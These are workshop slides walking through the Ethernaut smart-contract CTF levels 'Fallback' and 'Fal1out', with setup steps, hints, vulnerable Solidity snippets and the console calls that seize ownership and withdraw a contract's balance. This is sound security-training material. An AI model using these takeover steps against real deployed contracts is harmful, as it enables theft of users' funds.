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Slides

https://link.gphofficial.com/Pwn
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Quick Recap
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Quick Recap
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Today’s format
❑ Level 1

⤷ Referring to hints on slides + documentation

❑ Level 2
⤷ Referring to documentation

❑ Level 3
⤷ Reading off code
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Before we start
❑ Metamask

⤷ https://metamask.io

❑ Javascript console
⤷ Chrome - F12
⤷ Firefox - Ctrl + Shift + K

❑ https://ethernaut.zeppelin.solutions/
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0. Hello Ethernaut
Demo
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1. Fallback
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1. Fallback
Goal

- Claim ownership of contract (contract.owner())
- Withdraw all balance

Hint:

❑ Look at the fallback function

https://solidity.readthedocs.io/en/v0.4.24/contracts.html?highlight=
fallback#fallback-function
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1. Fallback

Source: Solidity Docs » Solidity in 
Depth » Contracts
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1. Fallback

function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
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1. Fallback

❑ contract.contribute({value: 100}) 

❑ contract.sendTransaction({value: 100}) 

❑ contract.withdraw()
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2. Fallout
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2. Fallout
Goal

- Claim ownership of contract (contract.owner())

Hint:

❑ Read carefully
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2. Fal1out

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
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2. Fal1out

Latest

Constructor (bytes32 _name) public {

     owner = msg.sender;

 allocations[owner] = msg.value;

}

V0.4.11

function Fal1out(bytes32 _name) {

     owner = msg.sender;

 allocations[owner] = msg.value;

}



17

2. Fal1out

contract.Fal1out()
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3. Coin Flip
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Attendance

Password: password


